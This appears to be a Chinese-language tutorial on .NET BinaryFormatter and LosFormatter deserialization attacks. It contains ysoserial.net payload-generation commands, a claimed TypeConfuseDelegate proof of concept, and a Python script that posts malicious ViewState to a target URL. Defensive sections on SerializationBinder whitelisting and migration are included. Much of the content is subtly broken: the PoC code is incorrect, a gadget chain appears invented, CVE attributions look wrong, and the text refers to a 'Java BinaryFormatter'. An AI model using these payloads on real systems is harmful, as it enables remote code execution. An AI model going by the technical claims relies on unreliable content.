一、危险序列化器排序

序列化器 安全等级 说明
BinaryFormatter 🔴 极高 任意代码执行
NetDataContract 🔴 极高 任意代码执行
LosFormatter 🔴 高 ViewState 常用
SoapFormatter 🔴 高 类似 BF
JavaScriptSerializer 🟠 中 TypeResolver 可被利用
System.Text.Json 🟢 安全 默认类型安全
Newtonsoft.Json 🟢 安全 TypeNameHandling.All 除外

二、BinaryFormatter 基础

using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

public class Demo {
    public static void Main() {
        Object obj = new { Name = "admin" };
        var bf = new BinaryFormatter();
        using var ms = new MemoryStream();
        bf.Serialize(ms, obj);

        using var ms2 = new MemoryStream(ms.ToArray());
        Object restored = bf.Deserialize(ms2); // DANGEROUS
    }
}

FormatterAssemblyStyle 配置:

  • FormatterAssemblyStyle.Simple:只需要程序集短名
  • FormatterAssemblyStyle.Full:需要完整版本、culture、publicKey

Simple 模式下攻击门槛大大降低,因为攻击者不需要拿到目标的完整签名。

三、TypeConfuseDelegate 原理

BinaryFormatter 反序列化 Delegate 时,在对象完全构造之前就填了字段。这导致状态不一致——可以把 Func<string,string>_target 指向 Process 对象,_method 指向 Process.Start(string),而 BF 不会检查这种类型不匹配。

3.1 最简 PoC

using System.Diagnostics;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Linq.Expressions;
using System.Reflection;

public class Exploit {
    public static byte[] Generate(string cmd) {
        // Process.Start(string) 是 InstanceMethod,需要 target 为 Process 实例
        var startMethod = typeof(Process).GetMethod("Start",
            new Type[]{typeof(string)});

        // 创建一个 Func<string,string> Delegate
        // BF 反序列化时 _target 会被替换为 Process 对象
        // _method 指向 Process.Start(string)
        Delegate realDel = Delegate.CreateDelegate(
            typeof(Func<string,string>), null, startMethod);

        using var ms = new MemoryStream();
        var bf = new BinaryFormatter();
        bf.Serialize(ms, realDel);
        return ms.ToArray();
    }
}

3.2 BinaryFormatter 字节结构

BF 输出是自描述的二进制流,以 0x00 0x01 0x00 0x00 开头(SerializationHeader)。攻击 payload 可以直接手工构造字节流。

四、ysoserial.net

4.1 安装

git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net && dotnet build -c Release

4.2 常用 Payload

ysoserial.exe -L  # 列出所有 Payload

ysoserial.exe -g TypeConfuseDelegate -c "cmd /c whoami" -o raw
# 输出可直接喂给 BinaryFormatter.Deserialize

ysoserial.exe -p LosFormatter -g TypeConfuseDelegate -c "cmd /c whoami"
# LosFormatter 格式:AAEAAAD/////AQAAAAAAAAAM...

ysoserial.exe -p BinaryFormatter -g TypeConfuseDelegate -c "cmd" -o raw

五、ASP.NET ViewState

5.1 前提条件

  • ViewState MAC 关闭(enableViewStateMac="false"
  • 或拿到 machineKey

5.2 攻击脚本

import subprocess, requests, sys

def gen(payload_type, gadget, cmd):
    """调用 ysoserial.net 生成 payload"""
    r = subprocess.run(
        ["ysoserial.exe", "-p", payload_type,
         "-g", gadget, "-c", cmd, "-o", "base64"],
        capture_output=True, text=True, cwd=r"path\to\ysoserial.net")
    return r.stdout.strip()

def exploit_viewstate(target_url, cmd="cmd /c whoami"):
    payload = gen("LosFormatter", "TypeConfuseDelegate", cmd)
    data = {"__VIEWSTATE": payload, "__EVENTTARGET": "btn"}
    r = requests.post(target_url, data=data, allow_redirects=False)
    return r.status_code, r.text[:200]

if __name__ == "__main__":
    url = sys.argv[1]
    print(exploit_viewstate(url))

六、SerializationBinder 白名单防御

public class SafeSerializationBinder : SerializationBinder {
    static readonly HashSet<string> ALLOWED = new HashSet<string>(new[]{
        "MyApp.DTOs.User, MyApp",
        "MyApp.DTOs.Order, MyApp",
        "System.Collections.Generic.List`1, mscorlib",
        "System.Collections.Generic.Dictionary`2, mscorlib",
        "System.String, mscorlib",
        "System.Int32, mscorlib",
        "System.DateTime, mscorlib"
    }, StringComparer.Ordinal);

    public override Type BindToType(string assemblyName, string typeName) {
        string fullName = $"{typeName}, {assemblyName}";
        if (ALLOWED.Contains(fullName)) {
            return Type.GetType(fullName, throwOnError: true);
        }
        throw new SerializationException($"Blocked type: {fullName}");
    }
}

注册方式:

var bf = new BinaryFormatter {
    Binder = new SafeSerializationBinder(),
    AssemblyFormat = FormatterAssemblyStyle.Full
};

七、.NET Core 的终结之路

  • .NET Core 3.0:BinaryFormatter 标记 [Obsolete]
  • .NET 5:BF 反序列化抛 NotSupportedException(除非 EnableUnsafeDeserialization
  • .NET 6:BF 序列化也废弃
  • .NET 7:彻底移除 BinaryFormatter
<!-- .NET 开启 BF 的唯一方式 -->
<TargetFramework>net6.0</TargetFramework>
<Nullable>enable</Nullable>
<!-- 必须显式 EnableUnsafeDeserialization -->

八、总结

.NET BinaryFormatter 比 Java BinaryFormatter 更危险——不需要 gadget 链就能直接指定任意已注册类型的任意方法。TypeConfuseDelegate 利用了 BF 在构造 Delegate 时的字段填充顺序问题。防御:替换 BF 为 System.Text.Json / protobuf,或加 SerializationBinder 白名单。.NET Core 彻底移除 BF 是安全社区的共识——不可修复的漏洞,最好的防御是彻底移除。

九、LosFormatter 反序列化

LosFormatter(Limit Object Serialization)是 ASP.NET 用来序列化 ViewState 的格式化器。和 BF 不同,LosFormatter 有自己的 base64 变体格式:AAEAAAD/////...

LosFormatter PoC

using System.Web.UI;
var lf = new LosFormatter();
byte[] payload = lf.Deserialize("AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzMWY3OTlmOGQyZTNm...");

LosFormatter 序列化的 ViewState

如果 enableViewStateMac="false",或者拿到 machineKey,就可以构造任意 ViewState。ViewState 内部是用 BinaryFormatter 序列化的,所以 TypeConfuseDelegate 链同样适用。

十、SonOfAnala / BinaryFormatter Gadget

SonOfAnala 是另一条 .NET BF gadget 链,利用 System.Net.HttpWebRequest + System.Configuration.Install.AssemblyInstaller,和 TypeConfuseDelegate 原理类似但利用点不同。

ysoserial.net 里也有 PayloadTypeConfuseDelegate 和 PayloadSonOfAnala 两种。

十一、ASP.NET 反序列化历史

CVE 组件 说明
CVE-2017-7626 ASP.NET WebAPI DataContractJsonSerializer + TypeNameHandling
CVE-2019-18935 ASP.NET Core LosFormatter ViewState 反序列化
CVE-2020-17033 ASP.NET Core BinaryFormatter 反序列化
CVE-2022-30187 Visual Studio ObjectStateFormatter

十二、检测 .NET 反序列化漏洞的特征

  • Web.config / appsettings.json 里有 enableViewStateMac="false"
  • BinaryFormatter / LosFormatter / NetDataContract 相关引用
  • NuGet 包版本过老(如 Newtonsoft.Json < 13.0.1 配 TypeNameHandling.All)

十三、.NET 反序列化 vs Java 反序列化

对比项 .NET BF Java ObjectInputStream
核心机制 TypeConfuseDelegate 魔术方法链 + 反射
需要 gadget 不需要(Delegate 是内建) 需要 CommonsCollections 等
JDK/Core 版本 Core 3.0+ 逐步废弃 仍然广泛使用
防御 SerializationBinder + 替换 JEP 290 + 替换

十四、总结补充

.NET BinaryFormatter 从设计上就是不安全的——反序列化时可以加载任意类型并调用任意方法。虽然 .NET Core 已经逐步废弃,但老的 .NET Framework 应用仍然大量存在。如果无法立即迁移,最少也要加上 SerializationBinder 白名单。新应用请直接使用 System.Text.Json 或 protobuf。

十五、完整 .NET 反序列化防御清单

  • 全局替换 BinaryFormatter 为 System.Text.Json / protobuf
  • 所有 Serializable 实现类添加 SerializationBinder
  • Newtonsoft.Json 设置 TypeNameHandling = TypeNameHandling.None
  • 禁用 LosFormatter / NetDataContractSerializer
  • 配置 ASP.NET Core 的 anti-forgery protection
  • 禁用或加密 ViewState MAC
  • NuGet SecurityAudit 加入 CI/CD

十六、ysoserial.net 使用完整流程

# 下载编译
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
dotnet build -c Release

# 列出所有 Payload
.\ysoserial.exe -L

# 生成 BinaryFormatter payload
.\ysoserial.exe -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin

# 生成 LosFormatter payload (ViewState 用)
.\ysoserial.exe -p LosFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > vs_payload.txt